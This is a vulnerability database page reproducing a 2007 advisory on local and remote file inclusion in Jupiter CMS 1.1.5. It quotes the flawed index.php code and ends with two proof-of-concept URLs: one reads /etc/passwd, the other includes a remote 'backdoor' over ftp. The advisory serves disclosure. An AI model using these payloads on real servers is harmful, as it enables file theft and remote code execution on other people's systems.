Lucene search
+L

Jupiter CMS 1.1.5 - '/index.php' Local/Remote File Inclusion

🗓️ 14 Feb 2007 00:00:00Reported by DarkFigType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Jupiter CMS 1.1.5 - Local/Remote File Inclusion, Risk Level High, Advisory ID 12070214, Author DarkFi

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-0986
16 Feb 200711:00
cve
CVE
CVE-2007-0987
16 Feb 200711:00
cve
Cvelist
CVE-2007-0986
16 Feb 200711:00
cvelist
Cvelist
CVE-2007-0987
16 Feb 200711:00
cvelist
NVD
CVE-2007-0986
16 Feb 200711:28
nvd
NVD
CVE-2007-0987
16 Feb 200711:28
nvd
Prion
Remote file inclusion
16 Feb 200711:28
prion
Prion
Directory traversal
16 Feb 200711:28
prion
securityvulns
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
14 Feb 200700:00
securityvulns
Title:          Jupiter CMS 1.1.5 Multiple Vulnerabilities
Advisory ID:    12070214
Risk level:     High
Author:         DarkFig <[email protected]>
URL:            http://www.acid-root.new.fr/advisories/12070214.txt

Risk level: High
Summary:    Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
            RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
  if(file_exists("$n.php"))
  {
    if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
    else include("$n.php");
  }
  elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:[email protected]/backdoor

# milw0rm.com [2007-02-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Feb 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.03292
34